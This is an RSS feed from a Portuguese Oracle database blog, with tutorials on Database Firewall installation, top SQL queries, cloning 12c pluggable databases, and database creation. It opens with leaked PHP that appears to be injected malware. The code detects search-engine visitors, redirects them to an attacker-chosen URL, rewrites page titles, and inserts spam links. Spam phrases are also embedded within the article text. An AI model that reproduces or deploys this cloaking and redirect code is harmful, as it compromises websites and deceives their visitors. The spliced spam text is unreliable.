$cldwfooter .= "$cldwflink "; } } } if (!$morda) { $my_content = preg_replace('##iUs', "$title", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = str_replace('', " ", $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUs', '', $my_content, 1); if (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs')) { $my_content = preg_replace('##iUs', "\n
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n
\n$txt\n
", $my_content, 1); } } } //end if key elseif (!preg_match('#(.*)404(.*)#i', $my_content) && !preg_match('#<title>(.*)not found(.*)#i', $my_content)) { foreach($el as $ln) { if (preg_match('#<strong>#', $my_content)) { $my_content = preg_replace('#<strong>#', "_-strong-_ $ln ", $my_content, 1); } elseif (preg_match('#<b>#', $my_content)) { $my_content = preg_replace('#<b>#', "_-b-_ $ln ", $my_content, 1); } elseif (preg_match('#<i>#', $my_content)) { $my_content = preg_replace('#<i>#', "_-i-_ $ln ", $my_content, 1); } elseif (preg_match('#<u>#', $my_content)) { $my_content = preg_replace('#<u>#', "_-u-_ $ln ", $my_content, 1); } elseif (preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#</body>#', $my_content)) { $my_content = preg_replace('#</body>#', "$ln<br> \n</body>", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); } echo $my_content; } register_shutdown_function('shutdown'); } if (($_GET[$qq] || $cldw) && $fromse && !$abt) { if (!$redcode && !$morda) { if ($key) $tkey = str_replace(' ', '+', $key); else $tkey = str_replace('-', '+', $_GET[$qq]); if (strstr($redir, '?')) $redir .= "&keyword=".$tkey; else $redir .= "?keyword=".$tkey; header("Location: $redir"); echo "<script type=\"text/javascript\">location.href=\"$redir\";</script>"; die(); } elseif (!$morda) { $key = str_replace('-', ' ', $_GET[$qq]); $redcode = str_replace('KEY', $key, $redcode); echo stripslashes($redcode); } } ?><?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>dados – Oracle Home https://oraclehome.com.br A casa do Oracle Brasil Wed, 25 Feb 2026 00:02:16 +0000 pt-BR hourly 1 https://wordpress.org/?v=6.1.7 https://oraclehome.com.br/wp-content/uploads/2017/01/cropped-favicon-32x32.png dados – Oracle Home https://oraclehome.com.br 32 32 Instalando Oracle Database Firewall 12.1.2.2.0 https://oraclehome.com.br/2015/01/15/instalando-oracle-database-firewall-12-1-2-2-0/ https://oraclehome.com.br/2015/01/15/instalando-oracle-database-firewall-12-1-2-2-0/#respond Thu, 15 Jan 2015 17:23:32 +0000 https://oraclehome.com.br/?p=5599 Este artigo tem como objetivo demonstrar a instalação do Oracle Database Firewall 12.1.2.2 (ODBF). Oracle Audit Vault and Database Firewall é um produto Oracle completo para proteção e auditoria do Banco de Dados Oracle entre outros. O produto monitora tráfego de dados para detectar e bloquear ameaças, bem como melhora a relatórios de conformidade por meio da consolidação de dados de auditoria de bancos de dados, sistemas operacionais, diretórios e outras fontes. lea thompson nude ofbrandibae Para configuração de rede deste produto “ODBF” há necessidade das seguintes interfaces de Rede. 1 Interface de Rede para Audit Vault Server;
No mínimo 1 Interface de Rede para Database Firewall operando com um proxy;
No mínimo 2 Interfaces de Rede para Database Firewall em modo DAM (somente monitoramento);
No mínimo 3 Interfaces de Rede para Database Firewall em modo DPE (monitoramento e bloqueio);

Maiores informações sobre o produto acesse Oracle Audit Vault and Database Firewall

OBS: Sobre Audit Vault será feito um artigo apenas sobre este produto.

Para a instalação necessitamos fazer o download do instalador no Oracle Delivery.
Acessar o link Oracle Delivery.
Ao acessar o link navegar no site, procurar pelos produtos Oracle Database, Linux X86-64.

Segue abaixo as imagens dos arquivos a ser baixados.

00 300x180 Instalando Oracle Database Firewall 12.1.2.2.0

Oracle Delivery

Clica no Link do Produto e clica em DB Firewall Installer conforme imagem abaixo

000 300x246 Instalando Oracle Database Firewall 12.1.2.2.0

DB Firewall Installer

Caso queira fazer o Download direto, basta clicar no link abaixo:
https://edelivery.oracle.com/EPD/Download/process_download/V46541-01.iso?file_id=72610417&aru=17897493&userid=5367479&egroup_aru_number=17908188&country_id=76&patch_file=V46541-01.iso

Após feito o download da mídia, colocar a ISO numa VM ou Servidor e dar boot pelo mesmo.
Segue abaixo a instalação do produto.

0 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 1 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 1 5 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 2 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 4 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 3 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 5 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 5 5 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 6 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 7 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 8 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 9 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 10 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 11 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 12 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 12 5 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 13 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 14 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 15 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 16 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 17 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 18 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 19 150x150 Instalando Oracle Database Firewall 12.1.2.2.0 21 150x150 Instalando Oracle Database Firewall 12.1.2.2.0

Pronto instalamos o Oracle Database Firewall da versão 12.

]]>
https://oraclehome.com.br/2015/01/15/instalando-oracle-database-firewall-12-1-2-2-0/feed/ 0
Top Comandos SQL Buffer Gets https://oraclehome.com.br/2014/06/22/top-comandos-sql-buffer-gets/ https://oraclehome.com.br/2014/06/22/top-comandos-sql-buffer-gets/#respond Sun, 22 Jun 2014 19:12:32 +0000 https://oraclehome.com.br/?p=5415 Este artigo tem como objetivo demonstrar os 50 Top Comandos SQL ordenados por Buffer Gets no banco de dados Oracle.

Este script é muito útil para verificar quais comandos utiliza mais buffer cache.
Segue o script abaixo.

SELECT *
FROM (SELECT SQL_FULLTEXT, BUFFER_GETS
FROM V$SQL
ORDER BY BUFFER_GETS DESC)
WHERE ROWNUM <= 50;

Vamos executá-lo no ambiente de banco de dados Oracle.

SQL> set lines 500
SQL> set pages 500
SQL> SELECT *
FROM (SELECT SQL_FULLTEXT, BUFFER_GETS
        FROM V$SQL
       ORDER BY BUFFER_GETS DESC)
WHERE ROWNUM <= 50;  2    3    4    5

SQL_FULLTEXT                                                                     BUFFER_GETS
-------------------------------------------------------------------------------- -----------
call dbms_stats.gather_database_stats_job_proc (  )                                   178628
select /*+ rule */ bucket_cnt, row_cnt, cache_cnt, null_cnt, timestamp#, sample_       23665
select /*+ rule */ bucket, endpoint, col#, epvalue from histgrm$ where obj#=:1 a       15013
SELECT SPARE4 FROM SYS.OPTSTAT_HIST_CONTROL$ WHERE SNAME = :B1                         12696
select intcol#,nvl(pos#,0),col#,nvl(spare1,0) from ccol$ where con#=:1                 10585
select obj#,type#,ctime,mtime,stime, status, dataobj#, flags, oid$, spare1, spar       10244
select position#,sequence#,level#,argument,type#,charsetid,charsetform,propertie       10073
select pos#,intcol#,col#,spare1,bo#,spare2,spare3 from icol$ where obj#=:1              8988
select i.obj#,i.ts#,i.file#,i.block#,i.intcols,i.type#,i.flags,i.property,i.pctf        7523
select owner#,name,namespace,remoteowner,linkname,p_timestamp,p_obj#, nvl(proper        6966
select job, nvl2(last_date, 1, 0) from sys.job$ where (((:1 <= next_date) and (n        6069
select con#,type#,condlength,intcols,robj#,rcon#,match#,refact,nvl(enabled,0),ro        5999
select order#,columns,types from access$ where d_obj#=:1                                5500
insert into histgrm$(obj#,intcol#,row#,bucket,endpoint,col#,epvalue)values(:1,:2        5440
select name,intcol#,segcol#,type#,length,nvl(precision#,0),decode(type#,2,nvl(sc        4164
select t.ts#,t.file#,t.block#,nvl(t.bobj#,0),nvl(t.tab#,0),t.intcols,nvl(t.cluco        4151
insert into "SYS"."ALERT_QT"  (q_name, msgid, corrid, priority, state, delay, ex        3312
select o.owner#,o.name,o.namespace,o.remoteowner,o.linkname,o.subname from obj$         3221
select /*+ index(idl_ub1$ i_idl_ub11) +*/ piece#,length,piece from idl_ub1$ wher        3073
delete from histgrm$ where obj#=:1 and intcol#=:2 and row#=:3                           2990
SELECT COUNT(UNQ) UNQ, COUNT(PFX) PFX FROM (SELECT /*+ first_rows(1) leading(cc)        2709
select procedure#,procedurename,properties,itypeobj# from procedureinfo$ where o        2472
select col#,intcol#,toid,version#,packed,intcols,intcol#s,flags, synobj#, nvl(ty        2308
select type#,blocks,extents,minexts,maxexts,extsize,extpct,user#,iniexts,NVL(lis        2104
select /*+ index(idl_ub2$ i_idl_ub21) +*/ piece#,length,piece from idl_ub2$ wher        1979
select /*+ index(idl_sb4$ i_idl_sb41) +*/ piece#,length,piece from idl_sb4$ wher        1878
select con#,obj#,rcon#,enabled,nvl(defer,0),spare2,spare3 from cdef$ where robj#        1685
select intcol#, toid, version#, intcols, intcol#s, flags, synobj# from subcoltyp        1485
select l.col#, l.intcol#, l.lobj#, l.ind#, l.ts#, l.file#, l.block#, l.chunk, l.        1415
select intcol#,type,flags,lobcol,objcol,extracol,schemaoid,  elemnum from opqtyp        1316
SELECT SU.NAME, SO.NAME, A.STATSTYPE#, C.INTCOL# FROM ASSOCIATION$ A, OBJ$ O, US        1265
select grantee#,privilege#,nvl(col#,0),max(mod(nvl(option$,0),2))from objauth$ w        1264
SELECT T.PROPERTY FROM SYS.USER$ U, SYS.OBJ$ O, SYS.TAB$ T WHERE U.NAME = :B2 AN        1186
select col#,intcol#,reftyp,stabid,expctoid from refcon$ where obj#=:1 order by i        1146
select /*+ index(idl_char$ i_idl_char1) +*/ piece#,length,piece from idl_char$ w        1145
select u.name, o.name, a.interface_version#, o.obj#      from association$ a, us        1132
select col#, grantee#, privilege#,max(mod(nvl(option$,0),2)) from objauth$ where        1130
select procedure#,entrypoint# from procedureplsql$ where obj#=:1 order by proced        1072
select col#,intcol#,ntab# from ntab$ where obj#=:1 order by intcol# asc                 1063
update tab$ set ts#=:2,file#=:3,block#=:4,bobj#=decode(:5,0,null,:5),tab#=decode        1020
select audit$,options from procedure$ where obj#=:1                                      919
select bo#, intcol# from icoldep$ where obj#=:1                                          843
 begin      dbms_aqadm_sys.remove_all_nondurablesub(:1, :2);   end;                      777
select col#,intcol#,charsetid,charsetform from col$ where obj#=:1 order by intco         764
insert into sys.wri$_optstat_histhead_history (obj#,intcol#,savtime,flags, null_         758
update seq$ set increment$=:2,minvalue=:3,maxvalue=:4,cycle#=:5,order$=:6,cache=         684
INSERT INTO RECENT_RESOURCE_INCARNATIONS$ ( RESOURCE_TYPE, RESOURCE_ID, RESOURCE         674
delete from dependency$ where d_obj#=:1                                                  670
select increment$,minvalue,maxvalue,cycle#,order$,cache,highwater,audit$,flags f         596
select obj# from oid$ where user#=:1 and oid$=:2                                         578

50 rows selected.

SQL>

Pronto obtivemos os comandos top sql por buffer gets.

]]>
https://oraclehome.com.br/2014/06/22/top-comandos-sql-buffer-gets/feed/ 0
Clonando um Pluggable Database (Oracle Database 12c) no mesmo Container root https://oraclehome.com.br/2013/12/04/clonando-um-pluggable-database-oracle-database-12c-no-mesmo-container-root/ https://oraclehome.com.br/2013/12/04/clonando-um-pluggable-database-oracle-database-12c-no-mesmo-container-root/#comments Wed, 04 Dec 2013 12:00:52 +0000 https://oraclehome.com.br/?p=4272 Este artigo tem como objetivo demonstrar como clonar um pluggable database no banco de dados 12c no mesmo container root do mesmo servidor.
Para clonar é muito simples, basta ter área disponível no storage para a criação que o Oracle automaticamente criará o clone.

Vamos verificar os PDBs.

SQL> set lines 500
SQL> select name, open_mode, total_size from v$pdbs;

NAME                           OPEN_MODE  TOTAL_SIZE
------------------------------ ---------- ----------
PDB$SEED                       READ ONLY   283115520
TOMIASI                        READ WRITE  387973120

SQL>

Vamos clonar o PDB “TOMIASI” para um outro de teste “TOMIASI_DBTESTE”.
Para clonar o PDB, podemos realizar de 2 maneiras:
– Colocar o PDB que irá ser clonado em modo Read Only, porém antes devemos fechá-lo.
– Ou usar o comando “force”, ele altera o status do PDB e ainda mante os usuários conectados.
Comando a ser executado com force:

alter pluggable database TOMIASI open read only force;

OBS: Sobre Iniciar ou Parar um PDB acesse o artigo do Anderson Graf Oracle database 12c – Iniciando e parando Pluggable Databases (PDB).
No exemplo abaixo, utilizei a primeira opção:
Segue abaixo os passos:

– Fechando o PDB “TOMIASI”.

SQL> alter pluggable database TOMIASI close;

Pluggable database altered.

– Abrindo o PDB “TOMIASI” em modo Read Only.

SQL> alter pluggable database TOMIASI open read only;

Pluggable database altered.

SQL>

Vamos verificar os PDBs novamente.

SQL> select name, open_mode, total_size from v$pdbs;

NAME                           OPEN_MODE  TOTAL_SIZE
------------------------------ ---------- ----------
PDB$SEED                       READ ONLY   283115520
TOMIASI                        READ ONLY   387973120

SQL>

Vamos criar o clone do PDB “TOMIASI”. Tendo área suficiente, basta executar o comando abaixo.

SQL> create pluggable database tomiasi_dbteste from TOMIASI;

Pluggable database created.

SQL>

Criado o PDB “TOMIASI_DBTESTE” vamos abrir o PDB “TOMIASI” e verificar como que ficou os PDBs.

– Fechando o PDB “TOMIASI” novamente.

SQL> alter pluggable database TOMIASI close;

Pluggable database altered.

– Abrindo o PDB “TOMIASI”.

SQL> alter pluggable database TOMIASI open;

Pluggable database altered.

SQL> select name, open_mode, total_size from v$pdbs;

NAME                           OPEN_MODE  TOTAL_SIZE
------------------------------ ---------- ----------
PDB$SEED                       READ ONLY   283115520
TOMIASI                        READ WRITE  387973120
TOMIASI_DBTESTE                MOUNTED             0

SQL>

Podemos perceber que o PDB “TOMIASI_DBTESTE” está montado. Vamos abrir o mesmo.

SQL> alter pluggable database TOMIASI_DBTESTE open;

Pluggable database altered.

SQL> !

Após criado e aberto o “TOMIASI_DBTESTE”, podemos conforme abaixo verificar os PDBs estão registrados no Listener.
OBS: Quando se cria o PDB, o mesmo é registrado no Listener automaticamente.

oracle=orcl-> lsnrctl status

LSNRCTL for Linux: Version 12.1.0.1.0 - Production on 27-AUG-2013 22:02:24

Copyright (c) 1991, 2013, Oracle.  All rights reserved.

Connecting to (ADDRESS=(PROTOCOL=tcp)(HOST=)(PORT=1521))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for Linux: Version 12.1.0.1.0 - Production
Start Date                27-AUG-2013 21:57:23
Uptime                    0 days 0 hr. 5 min. 1 sec
Trace Level               off
Security                  ON: Local OS Authentication
SNMP                      OFF
Listener Parameter File   /u02/app/oracle/product/12.1.0/grid_1/network/admin/listener.ora
Listener Log File         /u02/app/oracle/diag/tnslsnr/l12asm64di/listener/alert/log.xml
Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC1521)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=l12asm64di.localdomain)(PORT=1521)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcps)(HOST=l12asm64di.localdomain)(PORT=5500))(Security=(my_wallet_directory=/u01/app/oracle/product/12.1.0/db_1/admin/orcl/xdb_wallet))(Presentation=HTTP)(Session=RAW))
Services Summary...
Service "+ASM" has 1 instance(s).
  Instance "+ASM", status READY, has 1 handler(s) for this service...
Service "orcl" has 1 instance(s).
  Instance "orcl", status READY, has 1 handler(s) for this service...
Service "orclXDB" has 1 instance(s).
  Instance "orcl", status READY, has 1 handler(s) for this service...
Service "tomiasi" has 1 instance(s).
  Instance "orcl", status READY, has 1 handler(s) for this service...
Service "tomiasi_dbteste" has 1 instance(s).
  Instance "orcl", status READY, has 1 handler(s) for this service...
The command completed successfully
oracle=orcl->

Para acessar O PDB “TOMIASI_DBTESTE” com Oracle Net Directory Naming devemos adicionar o mesmo ao TNSNAMES conforme abaixo.
Vamos visualizar o atual TNSNAMES. Ann Marie who is

oracle=orcl-> cat /u01/app/oracle/product/12.1.0/db_1/network/admin/tnsnames.ora
# tnsnames.ora Network Configuration File: /u01/app/oracle/product/12.1.0/db_1/network/admin/tnsnames.ora
# Generated by Oracle configuration tools.

LISTENER_ORCL =
  (ADDRESS = (PROTOCOL = TCP)(HOST = l12asm64di.localdomain)(PORT = 1521))

ORCL =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = l12asm64di.localdomain)(PORT = 1521))
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = orcl)
    )
  )

TOMIASI =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = l12asm64di.localdomain)(PORT = 1521))
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = tomiasi)
    )
  )

Vamos editar o TNSNAMES adicionando o PDB “TOMIASI_DBTESTE” e vamos visualizar o mesmo novamente.

oracle=orcl-> vi /u01/app/oracle/product/12.1.0/db_1/network/admin/tnsnames.ora
oracle=orcl-> cat /u01/app/oracle/product/12.1.0/db_1/network/admin/tnsnames.ora
# tnsnames.ora Network Configuration File: /u01/app/oracle/product/12.1.0/db_1/network/admin/tnsnames.ora
# Generated by Oracle configuration tools.

LISTENER_ORCL =
  (ADDRESS = (PROTOCOL = TCP)(HOST = l12asm64di.localdomain)(PORT = 1521))

ORCL =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = l12asm64di.localdomain)(PORT = 1521))
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = orcl)
    )
  )

TOMIASI =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = l12asm64di.localdomain)(PORT = 1521))
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = tomiasi)
    )
  )

TOMIASI_DBTESTE =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = l12asm64di.localdomain)(PORT = 1521))
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = tomiasi_dbteste)
    )
  )
oracle=orcl-> exit
exit

Adicionado o PDB ao TNSNAMES, vamos acessar o PDB “TOMIASI_DBTESTE” com o Oracle Net Directory Naming.

SQL> conn tomiasi/tomiasi@tomiasi_dbteste
Connected.
SQL> select * from pessoas;

      P_ID P_NOME
---------- ------------------------------
         1 Maycon Tomiasi

SQL>

Podemos acessar o PDB também com o Easy Connect conforme abaixo:

SQL> conn tomiasi/tomiasi@l12asm64di.localdomain:1521/tomiasi_dbteste;
Connected.
SQL> select * from pessoas;

      P_ID P_NOME
---------- ------------------------------
         1 Maycon Tomiasi

SQL>

OBS: Significado de acesso via Easy Connect acima:
conn [usuário]/[senha]@[host]:[porta]/[pluggable_database][ORACLE_SID];
Porta = Porta do Listener.

Pronto, clonamos o pluggable database do Banco de Dados Oracle 12c e acessamos o mesmo.
Documento de criar um pluggable database acesse CREATE PLUGGABLE DATABASE.
Maiores informações sobre o Oracle Database 12c acesse Oracle Documentation 12c.

]]>
https://oraclehome.com.br/2013/12/04/clonando-um-pluggable-database-oracle-database-12c-no-mesmo-container-root/feed/ 1
Criando Oracle Database 12c em ASM Non Rac com DBCA https://oraclehome.com.br/2013/08/24/criando-oracle-database-12c-em-asm-non-rac-com-dbca/ https://oraclehome.com.br/2013/08/24/criando-oracle-database-12c-em-asm-non-rac-com-dbca/#respond Sat, 24 Aug 2013 12:06:26 +0000 https://oraclehome.com.br/?p=4183 Este artigo tem como objetivo demonstrar como criar o banco de dados utilizando a ferramenta DBCA.

DBCA (Database Configuration Assistant) é uma ferramenta que te guia graficamente para a criação do banco de dados.

Segue o passo-a-passo para a Criação do banco de dados conforme as imagens abaixo:
Com o VNC basta entrar com o seguinte comando abaixo:

[oracle@l12asm64di ~]$ . /etc/ora_ambiente_db.sh 
oracle=orcl-> xhost 192.168.56.40
192.168.56.40 being added to access control list
oracle=orcl-> dbca

OBS: O arquivo ora_ambiente_db.sh são as variáveis de ambiente do Linux para o Grid Infrastructure que defini.
Segue o abaixo:

#!/bin/ksh
umask 022
export ORACLE_UNQNAME=orcl
export ORACLE_BASE=/u01/app/oracle
export ORACLE_HOME=$ORACLE_BASE/product/12.1.0/db_1
export ORACLE_SID=orcl
export ORACLE_TERM=xterm
export PATH=$ORACLE_HOME/bin:$PATH
export LD_LIBRARY_PATH=$ORACLE_HOME/lib:$ORACLE_HOME/jdbc/lib:$ORACLE_HOME/ctx/lib:$ORACLE_HOME/rdbms/lib:/usr/dt/lib:/usr/lib:/usr/openwin/lib:/lib
export NLS_LANG="AMERICAN_AMERICA.WE8MSWIN1252"
export CLASSPATH=$ORACLE_HOME/JRE:$ORACLE_HOME/jlib:$ORACLE_HOME/rdbms/jlib:$ORACLE_HOME/plsql/jlib:$ORACLE_HOME/ord/jlib:$ORACLE_HOME/network/jlib:$ORACLE_HOME/owm/jlib:$ORACLE_HOME/jdbc/lib:$ORACLE_HOME/ord/ts/jlib
export ORACLE_HOSTNAME=l12asm64di.localdomain
export PS1="oracle=$ORACLE_SID-> "

OBS: xhost [IP] é usado para adicionar ou deletar nomes de máquinas e de usuários à lista dos que possuem autorização para acessar o servidor X (ou seja, tem autorização para acessar remotamente a máquina). Este provém uma forma rudimentar de privacidade, controle e segurança.

Algumas opções do comando
xhost + hostname: Adiciona hostname para o acesso a lista de controle do servidor X.
xhost – hostname: Remove hostname do acesso a lista de controle do servidor X.
xhost + : Desliga controle de acesso (todos hosts remotos terão acesso ao servidor X).
xhost – : Liga o controle de acesso.
Fonte: Linux / Unix Command: xhost.

Segue abaixo o passo-a-passo a criação do Banco de Dados:
114 150x150 Criando Oracle Database 12c em ASM Non Rac com DBCA 24 150x150 Criando Oracle Database 12c em ASM Non Rac com DBCA 33 150x150 Criando Oracle Database 12c em ASM Non Rac com DBCA 43 150x150 Criando Oracle Database 12c em ASM Non Rac com DBCA 53 150x150 Criando Oracle Database 12c em ASM Non Rac com DBCA 63 150x150 Criando Oracle Database 12c em ASM Non Rac com DBCA 73 150x150 Criando Oracle Database 12c em ASM Non Rac com DBCA

Pronto criamos o banco de dados no Oracle 12c.
Maiores informações acesse Oracle Documentation 12c.

]]>
https://oraclehome.com.br/2013/08/24/criando-oracle-database-12c-em-asm-non-rac-com-dbca/feed/ 0
Instalando produto Oracle Database 12c em Oracle Linux Non Rac https://oraclehome.com.br/2013/08/21/instalando-produto-oracle-database-12c-em-oracle-linux-non-rac/ https://oraclehome.com.br/2013/08/21/instalando-produto-oracle-database-12c-em-oracle-linux-non-rac/#respond Wed, 21 Aug 2013 23:21:43 +0000 https://oraclehome.com.br/?p=4249 Este artigo tem como objetivo demonstrar como instalar o produto do Banco de Dados Oracle 12c.

Segue o passo-a-passo para a Instalação conforme as imagens abaixo:
Com o VNC basta entrar com o seguinte comando abaixo:

oracle=orcl-> cd /u01/medias/database
oracle=orcl-> ./runInstaller
Starting Oracle Universal Installer...

Checking Temp space: must be greater than 500 MB.   Actual 2402 MB    Passed
Checking swap space: must be greater than 150 MB.   Actual 4048 MB    Passed
Checking monitor: must be configured to display at least 256 colors.    Actual 65536    Passed
Preparing to launch Oracle Universal Installer from /tmp/OraInstall2013-08-15_11-49-44PM. Please wait ...

Após a Instalação do Produto, com o usuário root executar o seguinte script abaixo.

[root@l12asm64di ~]# /u01/app/oracle/product/12.1.0/db_1/root.sh
Performing root user operation for Oracle 12c

The following environment variables are set as:
    ORACLE_OWNER= oracle
    ORACLE_HOME=  /u01/app/oracle/product/12.1.0/db_1

Enter the full pathname of the local bin directory: [/usr/local/bin]:
The contents of "dbhome" have not changed. No need to overwrite.
The contents of "oraenv" have not changed. No need to overwrite.
The contents of "coraenv" have not changed. No need to overwrite.

Entries will be added to the /etc/oratab file as needed by
Database Configuration Assistant when a database is created
Finished running generic part of root script.
Now product-specific root actions will be performed.
[root@l12asm64di ~]#

Segue abaixo o passo-a-passo da instalação do Produto:

112 150x150 Instalando produto Oracle Database 12c em Oracle Linux Non Rac 23 150x150 Instalando produto Oracle Database 12c em Oracle Linux Non Rac 32 150x150 Instalando produto Oracle Database 12c em Oracle Linux Non Rac 42 150x150 Instalando produto Oracle Database 12c em Oracle Linux Non Rac 52 150x150 Instalando produto Oracle Database 12c em Oracle Linux Non Rac 62 150x150 Instalando produto Oracle Database 12c em Oracle Linux Non Rac 72 150x150 Instalando produto Oracle Database 12c em Oracle Linux Non Rac 82 150x150 Instalando produto Oracle Database 12c em Oracle Linux Non Rac 92 150x150 Instalando produto Oracle Database 12c em Oracle Linux Non Rac 102 150x150 Instalando produto Oracle Database 12c em Oracle Linux Non Rac 113 150x150 Instalando produto Oracle Database 12c em Oracle Linux Non Rac 122 150x150 Instalando produto Oracle Database 12c em Oracle Linux Non Rac 132 150x150 Instalando produto Oracle Database 12c em Oracle Linux Non Rac 141 150x150 Instalando produto Oracle Database 12c em Oracle Linux Non Rac 151 150x150 Instalando produto Oracle Database 12c em Oracle Linux Non Rac ]]>
